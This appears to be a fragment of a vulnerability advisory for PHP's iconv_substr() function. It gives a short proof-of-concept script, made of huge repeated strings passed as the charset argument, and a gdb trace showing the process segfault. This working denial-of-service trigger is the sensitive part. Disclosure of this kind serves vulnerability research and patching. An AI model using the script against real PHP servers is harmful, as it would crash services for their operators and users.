iconv_substr() is vulnerable to a denial of service
====3)Proof of concept
====
Proof of concept example :
$a = str_repeat ("A",9989776);/*if a bigger value is supplied, php will get freezed for a while */
$b = str_repeat("/", 2798349);// segfault happens here
iconv_substr($a,0,1,$b);
?>
result:
(gdb) run 2.php
/*(2 mn later...)*/
Program received signal SIGSEGV, Segmentation fault.
